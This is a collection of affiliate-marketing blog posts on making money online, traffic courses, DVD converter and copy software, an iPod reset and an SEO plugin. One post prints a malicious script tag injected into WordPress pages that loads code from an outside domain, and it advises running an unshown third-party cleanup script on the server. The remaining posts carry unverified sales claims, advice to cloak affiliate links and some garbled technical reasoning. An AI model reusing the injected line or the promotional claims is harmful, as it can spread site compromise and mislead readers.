I was recently asked the question, "What is the Quickest Way to Make Money Online?"

I really had to put myself into that question and ask myself, "What would I do if I had to start all over again and needed to generate cash as quickly as possible?"

The answer was what I am doing now.

If I had to start all over again, all I would need is:

1. A computer with a high speed Internet connection.
2. Three websites with good niche content on them.
3. An Aweber Autoresponder
4. An Adwords Account
5. A Blog

Let me explain each of these so as to paint the big picture for you.

A Computer With a High Speed Internet Connection

This really should be a no-brainer. If one wishes to make money online, one will need a computer (a laptop will do) and a high speed internet connection. Why high speed? Because of the volume of files you will upload and download to and from the Internet.

Three Websites With Good Niche Content On Them

My rule has always been to set up three high-niche websites. For those of you who do not know what a niche is; A niche is a focused, targetable portion of a market sector. For example, golf is a sport market sector. The golf market can be broken down into many subsets such as golf clothing, golf clubs, or golf instruction. These subsets are called niches. As an online marketer, I would not want to set up a website and just sell to the entire golf sport market. It is too broad and unfocused. However, what I would want to do is narrow my focus (target) to a niche within the golf market. For example, golf instruction. I could write articles and create videos on how one could improve their golf swing for example. I could also write and sell an e-Book. I could create a blog and have over in the sidebars advertisements of golf-related affiliate programs I belong to.

Yet, I would research and find three good niches I could set up three websites for.

An Aweber Autoresponder Account

An autoresponder is a service that acts as your 24/7 customer service and sales representative. It is a great and essential marketing tool that immediately provides information to prospective customers and then automatically follow-up with them at preset intervals.

Every serious Internet Marketer should have an autoresponder. It just does not make sense not to. Here is why? Most people who visit your website do not buy the first time. Once they leave your site, odds are very high that they will not return. The result is that you have lost a prospect. What to do?

Set up a "Squeeze Page" like the one you see here, that does not overwhelm them with a lot of information, but just enough to pique their interest to enter their name and email address into the form and click the submit button. Now if they leave your website, you still have them as a prospect because they are in your autoresponder system that has been preloaded with a series of "marketing" messages that are emailed to them – with their permission – at preset time intervals. It's wonderful.

You should have an autoresponder set up on each "Squeeze Page" on your websites. Your websites should have a "Squeeze Page" (example here) and a "Sales Page" (example here). Ideally, you will want all visitors to your websites to land on your "Squeeze Page" first. The reason should be obvious: To capture their name and email address into your autoresponder system so that you can continue to market to them if they leave your website without making a purchase. Your autoresponder messages will contain the link to your "Sales Page."

Another great benefit of an autoresponder is that they are great list builders. A list of prospects are invaluable "money-on-demanders." Let me explain this. Suppose as a result of setting up "Squeeze Pages" on all of your websites you – in time – build up a list of 1000 people. Some of these people made purchases from you, some were just kicking the tires. However, when they entered  their names and email addresses on your "Squeeze Page" form, they became a member of your list. They agreed (Opted In) to let you send them emails from time to time on offers you may have.

Now suppose you came across something you felt your list of 1000 would be interested in. So you compose a message and "Broadcast" it out to all of your list members at once. Embedded within your message is your affiliate link in which you get $30 per sale. If only one percent of your list of 1000 responded and made a purchase, you just made $300! So as your list grows, so does your sales potential.

The best autoresponder service out there is The Aweber. Every serious Internet Marketer knows this.

An Adwords Account

Unfortunately, new websites have absolutely no traffic. No one knows you are online. Even when you submit your website to Google, you are simply thrown into the mix of the other millions of websites. Finding your website online is like finding a needle in a haystack. One of the quickest ways to get instant quality traffic to you website is by using Google Adwords.

With Google AdWords, you can create and run ads for your business, quickly and simply. Run your ads on Google and their advertising network — no matter what your budget, you'll only pay when people click your ads.

A word of extreme caution: If you do not know what you are doing on Google Adwords, you can loose a lot of money. Do not attempt to set up a Google Adwords campaign without first learning how to do it properly. Google will not tell you how to set up a campaign the right way. Why should they? I highly recommend that you get "The Beating Adword" eBook. It is an essential guide all serious Internet Marketers should have. It walks you through the entire process of setting up effective campaigns on the Google network with Google Adwords without it costing you a lot of money. Many people are not aware of the recent changes Google has made resulting in lots of Internet and Affiliate Marketers being "Slapped." This guide is all you need to learn everything about Google Adwords.

I would set up campaigns in Google Adwords and direct prospects to the "Squeeze Pages" of my three niche websites.

A Blog

Setting up a Blog is one of the best ways to generate traffic to a website. Never use a service like Blogger or any like services. Set up a real WordPress blog using their free self-hosted script. You could set up a blog on a dedicated domain or off of an existing domain. Here is an example of a blog that I have set up on it's own dedicated domain using the free WordPress script. HERE. And, here is a blog that I have set up off of an existing domain. HERE.

The Cash Code

If you are interested in starting an online business today that includes three high niche websites, articles, autoresponder messages along with the products, check out The Cash Code. Almost everything is done for you. All you need to do is get yourself three domains (www.yoursite.com), set up your autoresponder, perform some slight modifications of some website files, upload the files. The Cash Code includes a video series that takes you by the hand and shows you how to do everything. Within two hours you can have your own Online Business up and running and ready to make money. The Cash Code is definitely worth a look.

The Cash Code sort of put's together all I have written in this article in one neat easy to do bundle.

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One of the greatest challenges – if not the greatest challenge – faced by Internet Marketers, Affiliate Marketers, and those business persons and companies who use the Internet to generate revenue, is getting traffic to their websites.

Let's face it, without traffic, you generate no revenue.

You should know that:

TARGETED TRAFFIC + CONVERSION = SALES

There is no shortage of programs, persons, or schemes that promises massive traffic. Most of them are simply schemes that do not work. Some do work. But there are so many of them in the mix, which one is to be trusted.

I have come across an instruction set that teaches you how to get massive traffic to your websites. It is called Underground Traffic Blueprints. What is it?

Underground Traffic Blueprints system It is a coaching system consisting of 23 DVD instruction videos filled with unique strategies, techniques and methods used by the top Super Affiliate Marketers.The entire course is based on the principle that “Traffic is Power.” So, this course is all about teaching you how to drive abundant traffic to your websites and help you take control of your business.

Included in the course are methods I never thought of.

Underground Traffic Blueprints system includes the some of the following features:

• Over 23 videos that run for nearly 7 hours; each video talk about an individual, unique way of generating traffic.
   
• A simple strategy that you can apply on your website and begin bringing traffic to your site; plus, according to the team, it won’t take more than 10-15 minutes to set this thing up.
   
• Some latest search engine optimization techniques that can help you rank on the first page of Google, easily!
   
• And, last it promises to reveal about 8 million visitors per year other than Facebook or even Google.

This is NOT rehashed information. It was a learning experience for me and I have been online since 1996.

This is definitely not a scam.

The product creators, Simon Hodgkinson & Jeremy Gislason have been in the industry for quite some time and from what I have researched about them, they are honest in providing solutions to clients and they are vastly knowledgeable about the game of Internet marketing. Also¸ they have never been associated with any scam as such. So, it is quite obvious that their next launch Underground Traffic Blueprints is also going to be a genuine answers to some highly asked problems. So, if you are on the look-out for a profitable tool, then this can be the one!

The Underground Traffic Blueprints system is simply the best course and instruction set on gaining Traffic Domination. Someone has to be the best.

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Keywords: DVD Video Converter, DVD Converter, Video Converter, DVD Video Converter Suite, Convert DVD to iPod/iPhone/Zune/PSP/Pocket PC, DVD to iPod Converter, DVD to iPhone Converter, AVI/MPEG/WMV/MP4/3GP Video Converter, AVI Video Converter, MP4 Video Converter, 3GP Video Converter

I was searching the web hard for a DVD video converter application that could convert both my DVDs and video files to any of the popular mobile formats such as iPod and iPad. I found one that I was really impressed with: It is called Cucusoft Ultimate DVD + Video Converter Suite.

The Cucusoft Ultimate DVD + Video Converter Suite converts DVD movies and video files to almost any audio/video formats such as audio/video format including video formats H264, MP4, WMV, AVI, MOV, RM, 3GP, FLV, SWF, mpeg-1, mpeg-2, VCD, SVCD, and DVD, and audio formats AC3, AAC, MP2, MP3, MP4, RA, and WMA.

You can convert DVD movies as well as any of the video/audio formats mentioned above to play on almost all portable devices such as iPad, iPod, iPod touch, iPod video nano, iPhone, Zune, PSP, video-capable MP3 players, video-capable mobile phones, Pocket PC, etc.

I downloaded the trial version, installed it, and ran it before making a purchase. I was not disappointed. I have an iPod Classic and a Zune and converted  several of my favorite DVD movies and a few AVI and Google FLV video files I downloaded and converted them to play on both my iPod and Zune devices.

I have created a video that allows you to see this wonderful program in action.

Free Download Link | Get Full Version

Here are some Key Features of Cucusoft Ultimate DVD + Video Converter Suite.

Key Features

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Recently, millions of WordPress Blog websites – most hosted by GoDaddy – have been hacked by a malware redirect script. How does the script work?

It inserts itself at the bottom of your index.php – and other php files – just above the body tag. The code looks like this:

<script src="http://kdjkfjskdfjlskdjf.com/kp.php"></script>

When users access your website via a web browser, they are redirected to a fake virus website that commences to scan your website for viruses.

Also, a base64_decode line of code may be inserted at the top of all or some of your PHP pages. That code looks like this:

GoDaddy – as the the writing of this post – has not offered a solution to the problem. But you are in good fortune.

I have found a solution that will scan your entire website and remove the  <script src="http://kdjkfjskdfjlskdjf.com/kp.php"></script> script and Base64 entries, Please follow the steps below:

1. Download http://www.webjava.com/Help/wordpress-fix.txt file and rename it to wordpress-fix.php

2. Rename the above file to wordpress-fix.php
    
3. Upload wordpress-fix.php to your website via FTP
    
4. Open your web browser and point to the location of the script. (i.e. www.yoursite.com/wordpress-fix.php)
    
5. The script will take a few minutes to scan your entire website and remove the malware entries. Scan time depends on the size of your website.
    
6. The script will alert you when the scan is complete.
    
7. Remove the script file  from your site. (save on your hard drive for future use , if needed)

Running this script and large websites have been known to timeout. In this event, run the script again. If your site is not getting cleaned up after you run the script, this means that the script did not finish running. Try it again.

Lastly, if re-running the script does not work, try placing the script inside your wp-admin or wp-content directory and run it from there.

Again, after your website has been clean-up, remove the script from your server.

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I have received quite a few inquiries from affiliate marketers about what is going on with Google.

These affiliate marketers are complaining and expressing concerns over why their affiliate sales are dropping off.

I have several product review websites that were going quite well and sales from them have pronouncedly dropped off. What is going on?

It appears that Google is systematically slapping product review websites – and others – that contain direct affiliate links on their landing pages. It appears  - for the moment – that if affiliate links are cloaked, they are surviving the slap down. But I strongly caution that this might not always be the case. What to do?

Well, no one really knows the mind of Google but Google. Anyone else would just be guessing, theorizing, or speculating; however, I do have a suggestion:

Create a separate redirect page for each product (html or php) and link to it. That redirect page will contain your affiliate link. Your main pages or landing pages should NOT contain any direct affiliate links. Rather, they should contain the URL of your redirect pages. How does a redirect page work?

If implemented properly, when a visitor clicks on the redirect URL, the visitor should end up at the vendor website – NOT a page on your website. Even though the redirect page is a file on your server, the visitor should never see it. 

What Google Likes?

Not affiliate links or duplicate content websites (copy-cats), apparently. Google is in preference to websites that contain original content and original branding. More and more affiliate websites are dropping off the Google map and disappearing into the proverbial search engine "needle in a haystack."

My Prediction:

One day Google will no longer allow affiliate websites; or at a minimum limit them. Perhaps keep those that it defines as relevant and quality websites. I don't know how far in the future this is, but Google does not appear to be a friend of the person who makes a living as an affiliate. Admittedly, Googlesphere is saturated with affiliate "copy-cat" websites: some well designed and maintained, other are not.

I see the total annihilation of the affiliate. Some affiliates  have already been dealt a death blow. This is a fact that cannot be argued.

What Can You Do?

To prepare yourself to survive the upcoming onslaught,seriously think about creating your own products or services, that way you control the sale; you are not a copy-cat, but an original.

If you are an affiliate marketer and cut and paste vendor content onto your website, change it. Change it now !!!

Re-write it in your own words. If you don't, Google may penalize you. Too, think of this: Suppose the vendor comes to realize that their own websites are be made to suffer because of the Google slap and you get drop as an affiliate because their content is seen as duplicate or copy-cat content.

Act now to create your own content. You will be the wiser and perhaps more profitable for it.

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Times are tough and will get tougher.

I don't I know about you, but politicians who have the gift of the gab are very good at raising hopes with smooth words, but deliver very little. Or, what they deliver is confusing and one is left with no clear idea of how it will be implemented.

We live in a world – unfortunately – where having money is a necessary commodity. Without it, you do not eat, have a roof over your head, or be able to function in a society that requires money just to live in a very basic sense.

The employment situation is far worse than what he politicians say it is. All they look at are the number of those who have jobs as opposed to those who do not. What about ones quality of life? What about the house or car or benefits a person lost because of a job lost? Should a person who lost a six-figure  income job and who later finds (or settles for)  a job stocking shelves at minimum wage, be scratched off the list as a person who is now employed? Something isn't right about this. Joblessness statistics do not address quality of life issues. It demotes a person down to a number.

I strongly believe that one can do something about a situation were a job as been lost or in a job that does not produce the income level you need or want. I believe that one – in time – can ween themselves off of the nipple of big business and corporate servitude. How?

By learning the ways of the Internet. Internet marketing, that is.

One of the fastest and low risk ways to make money on the Internet, is via affiliate programs. For those of you who do not know what an affiliate program is: it is marketing someone else's product or service in exchange for a commission.

For example, you find a company online who sells a software product for $80. This company also has an affiliate program that you can sign up for free. They get your name and address and provide you will a unique affiliate code that identifies you as the person who referred someone to their website. If the visitor to the website buys the software product, you get a percentage of the purchase. So if a company offers you a 40% commission on an $80 product, you earned $32. Imagine making five sales per day at $32. The comes to $160 per day or $4800 per month (assuming a 30 day month).

Signing up for affiliate programs are mostly automatic and your commissions are sent to you via direct deposit, PayPal, or by check.

But the key to involvement in affiliate programs and being successful at them involves:

1. Knowing what types of affiliate programs to get involved in.
2. Picking affiliate programs that are worth your time and effort. 
3. Picking affiliate programs that are lucrative
4. Setting up a website (getting a domain name and a host account)
5. Getting visitors to your affiliate website.
6. Recommended Affiliate Programs

What Types of Affiliate Programs to Get Involved In

Choose affiliate programs that offer popular software that people can download immediately after purchase. When choosing such software, ask yourself if you would use it.

Picking Affiliate Programs Worth Your Time and Effort

Do not affiliate yourself with a company and their products if they are not in demand or the products are old and stale. If you do, you will waste a lot of time and effort promoting it and will not make any money. This involves you searching the Internet to find reviews of the product. Check out the company's website. Is it being updated? These will give you clues as to whether a product is successful. Typically, online software vendors have a short lifespan if their products are not popular.

Picking Affiliate Programs That Are Lucrative

As I stated earlier, pick popular software programs. Also, pick a company who offers a commission anywhere between 40% to 50% and products priced in the range of $50 to $100. Choosing products beyond this price range may bring a hire commission, but one must think: How many persons would be willing to pay large sums of money for software that may be perceived as overpriced. I find that this price range and commission rate work very well.

Setting Up a Website

If you affiliate yourself with a company and decide to market their products on the Internet in exchange for a commission, you will need a website. There is no way around this. You will build a website and place the company's products on it with your unique affiliate code attached to each product.

You will also need a domain. A domain is a www.yourwebsitename.com. Google.com, Yahoo.com and cnn.com are examples of domains. You will need your own. This is where many people get stuck. They have no clue as to how to get a domain name. See my article How To Register a Domain Name.

You will also need a hosting account. Hosting companies host or hold your website files on their servers which are connected to the backbone of the Internet. So when a person types in your domain name in their web browser, your website will display. See my article are How To Select a Web Host.

Getting Visitors To Your Website

Visitors to a website – in Internet jargon – is called traffic. Without visitors to your website, it will be impossible to make a sale. So how does one get visitors to their website? I have found the best way is by organic traffic setting up a blog website powered by the free WordPress self-hosted script, the WordPress theme called Thesis, and a WordPress plugin called Scribe SEO.

Organic traffic is simply the traffic you get from Google or Yahoo! just by listing your site in their search engines. Organic traffic costs nothing. The key is setting up your website that is optimized to get decent search engine placement in the search engines by keyword or keyword phrases. For example: You have a website that is affiliated with a company that sells DVD to iPod conversion software. A person looking for such software goes to Google and searches for DVD to iPod Converter Software. Google returns hundreds of search results. Where is your website listed among the hundreds of websites? If it is on the front page (for that keyword phrase DVD to iPod Converter Software), you will make money.

Setting up a website using the WordPress self-hosted script along with the Thesis theme and the Scribe SEO plugin will give you an unfair advantage over many not using them and over those who build websites the traditional way.

Another way to get traffic to your website is to pay for it. Google Adwords is your best option. With Google Adwords, you pay Google to advertise your website. You write an Ad or Ads, submit them to Google, and pay Google to run them for you. How often Google runs them depends on how much you pay Google. You can have an advertising budget from $5 per day up to many thousands of dollars per day. I recommend not delving into Google Adwords without first knowing what you are doing; you could lose a lot of money.

I am currently writing an eBook guide that will teach you all of the mechanics of using Google Adwords the smart, safe and cheap way. Things they don't tell you. Check back here on my blog in a week of two to download a copy of it.

Recommended Affiliate Programs

I going to give you one of my best kept secrets. Here is an affiliate program that I have been involved in for more than three years and it has made me money each and every month since. I am talking about $700 to $1200 each month. All from organic traffic.

First, I want you to look at the following two websites:

http://www.dvdnextcopy.com/

http://www.dvd-nextcopy.com/

The first website – DVD Next Copy – is the company I am affiliated with. They sell DVD Copy software. My commissions from them range from 40% to 60%. All of their products are reasonably priced and delivered to the purchaser via a download link. They pay me each month by sending to my PayPal account. 

The second website is mine. I built it featuring all of the first websites products. This site is my affiliate website. Behind each Buy Now link is my unique affiliate code that the company gives me when I sign up as an affiliate. This is how the company knows who sent them the visitor to their main site (the first site).

I personally recommend signing up for this company's affiliate program and setting up a website (using WordPress, Thesis, and Scribe SEO). You can go to http://www.dvdnextcopy.com/affiliate.aspx to submit your request to join.

Conclusion

There are literally thousands of companies out there that have affiliate programs for their software. Remember, to look for cool programs that you would use. Look for popular fads – such as the iPad – and look for companies that create software that works with the iPad. The iPod is popular. Companies that have software that converts DVD movies or YouTube video to iPod format would be something to look into. There is a company called Xilisoft that offers a nice affiliate program that pays handsomely. There are many others. Go find them.

Check back here on this blog for articles and help on getting started if all of this is new to you. Or send me an email.

I will do my best to help get you going in the right direction.

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Jim Daniels was and still is my Internet Marketing Hero. Please read my short story to see why he is the man.

It was back in 1996 when I first began exploring the possibility of making money from the Internet.

It all began with me signing up as an affiliate with a company that sold only one software product. I recall that it was in the middle of June 1996 that I signed up. The company provided me a unique affiliate URL that had had embedded within it information that told them I referred a customer to their website. 

I placed this affiliate link on my website (I only had one back then) and basically forgot about it. Nearly one month later I received a check for $90 from this company. That lit a fire under my posterior and I never looked back since.

Back then in 1996, I did not really know what I was doing. The Internet was replete with individuals claiming to be Internet gurus and promised to show you how to increase traffic (visitors) to your website. Increased traffic translated into more sales.

Well, what I learned was that most of those self-proclaimed gurus were not gurus at all. They were simply individuals interested in self-gain and getting you to whip out a credit card to buy an ebook or some other service.

I have come a very long way since then. Yes, the self-proclaimed gurus are still out there and they still have the same hidden agenda. 

One guy back then that really helped me "see the light" and to understand how Internet marketing really worked is a guy by the name of Jim Daniels of BizWeb 2000.

Mr. Daniels Internet Marketing success credentials speak for themselves. Unlike the many money-hungry Internet Marketers out there, Jim really cares about people. He knows what it feels like to worry about family and living paycheck to paycheck. 

I know him to be an individual of the highest moral character and integrity. He is not the type of person who takes your money and runs out on you. I am not just saying this. It is the truth. if it were not fro Jim – in the days that I started out – I would not possess the knowledges, know-how, direction, and Internet income producer I am today. I cannot honestly attribute this to no one but Jim Daniels.

Happily, Jim is still around and going very strong and steady. 

If you are new to the Internet or if you have been online for some time, I just wanted to let you know that Jim is offering personal coaching on how to earn income from the web.

Most personal coaching I have seen online could cost you anywhere from $500 to $5000 per month. And, almost all of those individuals do not come close to having the credentials Jim has and don't even come close to being around as long as he. In fact, Jim helped get many of them started.

I suggest that you check out his personal coaching offer. Get your FREE Silver Package and membership right Now !!!

If any of you have been following my blogs, then you know that I am a firm believer in taking care of self and not being dependent on an employer. I am not saying that it is wrong to work for someone, but to be dependent on them.

Here is your opportunity to learn to become self-reliant and take back your life that was given to you. Not given to you so that you should surrender it over to companies and organizations that do not really care about you.

Given the state of the economy today, you would be wise – if any thing – to investigate Jim Daniels personal coaching offer.

Yes, I work for an employer because I enjoy the work I do and the paycheck. But if my employer turns its back on me – which appears to be an ever growing trend for many – I have enough monthly Internet-generated income coming in to continue to pay my bills and have extra do do the things I want and to help family members. In other words, I will be able to survive. I won't be on the street.

Many have no idea what it feel like to be in a position to have this measure of certainty and control over one life.

You can get it too !!!

Check out Jim Daniels personal coaching offer HERE.

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I have an iPod Classic (Figure 1) which on occasion freezes. Recycling the power switch on the top does no good. If this happens to you, here a procedure that will unfreeze your iPod Classic. Don't worry, you will not lose any music, videos, or anything else you have on your iPod.

Figure 1 – iPod Classic

Refer to Figure 2 below for the location of the two keys you will have to press to unfreeze your iPod Classic.

Step 1. Toggle the Hold Switch on and off several times. Return it to the Off position.

Step 2. Press and hold at the same time, the Menu and Center buttons until the Apple logo appears on the iPod display. The apple logo should appear anywhere from 6 to 10 seconds. You may need to repeat this step.

• If you are still experiencing a problem resetting your iPod Classic, set it on a flat surface. Make sure the finger pressing the Center button is not touching any part of the Click Wheel. Also be sure that you are pressing the Menu button towards the outside of the click wheel, not near the center.
   
• If the above mentioned steps do not work, then try connecting your iPod Classic to its power adapter and plug the power adapter into an electrical outlet, or connect the iPod to your computer via the USB cable. Make sure the computer is turned on and isn’t set to go to sleep.

The above procedures work 95% percent of the time. If not, then you may have a defective device. Don't get mad. Set your device down and come back later and try the above procedures again. After you have tried unsuccessfully, let a friend or relative give it a try; especially if you have very large fingers.

A friend of mine was going to actually toss his iPod after several unsuccessful attempts. I tried the two step procedure on the first try and unfroze it for him.

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I know – I really do from first hand experience – that anyone serious about blogging should be using the WordPress self-hosted script – which is free – and the WordPress Thesis Theme. Do yourself a favor.

I have seen my traffic metrics on all of my websites increase significantly after using the Thesis Theme. There is nothing like it. (You can read more about Thesis here.

Optimizing your websites webpages for the best Search Engine Optimization (SEO) requires "know-how." A knowledge not easily attained or understood. One could hire a professional SEO expert costing you hundreds to thousands of dollars. Or, you can get Scribe SEO.

What is Scribe SEO?

Scribe SEO is a WordPress plugin that is used to analyze blog posts for SEO strength. This product is interesting because it is able to ‘read’ your content to produce a report about a post’s keyword strength, density, search volume and more. All viewable within your WordPress Dashboard Post and Pages section.

I have purchased in the past very expensive desktop applications that did the exact same thing that Scribe SEO does: it analyzed my webpages and recommended actions to optimize them for the search engines. Those programs worked.

Now, I am a blogger using WordPress and the best blog theme on the Internet, Thesis. What about my posts and pages created within WordPress? How about doing all I can do to optimize them? Well, Scribe SEO is the answer.

Scribe SEO is a WordPress plugin that installs in seconds. Once installed, simply use it to analyze your blog posts and pages and follow the simple instructions to best optimize your posts and pages.

Here is how Scribe SEO Works:

1. You write a post or you open up an existing post that you want to optimize for the search engines.

2. Scribe SEO will automatically scan your post's content to ensure that your has a complete Title tag, a meta description, and content. Figure 1.

Figure 1

3. Once these three criteria are met in your post or pages, you can now click on the blue analyze button.

4. After a short interval, Scribe SEO will present the score of your post or page. This score is built off a variety of factors such as title length, keyword usage, body content, hyperlinks used, and the description copy. Figure 2

A 73% out of a 100% score is not bad. But Scribe SEO reports that I can increase this score for this particular post by increasing the words in my content from 236 to 300 words and reducing the number of times I use the word "scribe" and "seo". No problem, I think I can do that without affecting the readability and comprehensiveness of my post.

Figure 2

5. At the top of the Scribe SEO window are six tabs that provide more information into the search engine optimization of my post. 

Keyword Analysis Tab – Figure 3

It determines my primary and secondary keywords. It then takes these keywords, indicates the density at which I’ve used them in my post and estimates the average annual search volume for that particular word or phrase.

Currently, my top two keywords are showing a 7.35% density, higher than the 5.5% which is recommended.

Figure 3

Change Keywords Tab – Figure 4

Guesses other keywords which I may be targeting, and how to give them more prominence in my post. The page also shows how to de-emphasize my primary keywords (which had too high of a density).

Figure 4

Tags Tab – Figure 5

This page shows a list of semantically relevant terms that Scribe has determined to be related to my post. Although several of these I find to not be related, there are still a few tags such as ‘SEO copywriting’ and ‘SEO Reviews’ that will be useful.

Figure 5

SERP (Search Engine Results Page) – Figure 6

Displays what my post will look like in a Google results page. The title comes from my Title Tag and description from my Meta Description used in the All In One SEO pack.

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Best SEO Practices Tab – Figure 7

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1Click DVD Copy and 1Click DVD Copy Pro set the standard when it comes to DVD Copy software.

LG Software Innovations was one of the first companies involved in the creation of software to copy DVD movies. This is a very important factor to consider when selecting an application to back up your DVD movies. Why?

Because companies with long software development histories mean that their products are more apt to be stable; that is, more time has been expended to work out the bugs resulting in a superior product. Too, these companies have a longer history of customer feedback to ascertain what the customer would like to see added (or removed) from the product line. This then, results in a product that is user-friendly; giving customers exactly what they want.

This is the case with the 1Click DVD Copy and 1Click DVD Copy Pro  DVD Copy software products. They are very stable and work to perfection in producing high quality copies of your DVD movies.

What has impressed me the most about LG Software Innovations product line is that their product line are highly  focused, which is another factor that makes them so good.

For example: Their are many DVD Copy software products that integrate within them other functionality such as DVD to iPod, DVD to PS3, DVD to Xbox, DVD to Zen and so forth. These things may give the product a perceived add value, but it also makes the program more bulky, not as easy to use, and more problem prone.

A focused product, that is, one that is created to copy just DVD movies, or one that is created to just convert DVD movies to iPod format will work faster and will be less problem prone. This is what you will find in the 1Click DVD Copy and 1Click DVD Copy Pro  products.

I have personally used and written reviews on other DVD Copy software products that integrate other conversion functionality other than just copying DVD movies. A common denominator I have found in almost all of them is that they seem to work very hard to accomplish the tasks for which they were created. It is not that they do not work, but in relation to the 1Click DVD Copy product, they do not work as well or as fast. This is logical because the program as other items integrated into them making the programming code in which they were created "Binarily Fat."  A good comparison of programs we are all familiar with is the old Microsoft Windows 98 Operating System as compared to Windows XP. 

By comparison, the Windows 98 operating system was Binarily smaller than Windows XP. This means that Windows 98's programming code was smaller and so the program ran faster than Windows XP (which is Binarily Fatter) under the same PC configuration conditions (processing power, memory, etc). Additionally, that Windows XP and Windows Vista are Binarily fatter, take longer to load, run slower, and they contain more bugs. That is why we see the constant barrage of Microsoft updates to patch those bugs. This is also why more computer processing power is required to run these new Binarily fatter programs.

Likewise, that the 1Click DVD Copy product is Binarily smaller than many of the other integrated DVD Copy software products, they will will run lean and sweet on your computer producing a superior copy of your DVD movies.

I felt compelled to write this article because many believe that when they purchase those DVD Copy software products that do a whole lot more than just copy DVD movies, that they are getting more bang for the buck. That is not the case. The reality is that there are trade offs that can lead to failed or substandard DVD copies. Even more, to user frustration and dissatisfaction.

So when shopping around for DVD copy software products, look for those which are focused on just accomplishing that task: Copying DVD movies.

And, as you can see from the above information, you need look no further than 1Click DVD Copy or 1Click DVD Copy Pro .

They will provide you with many years of customer satisfaction and great copies of your DVD movies.

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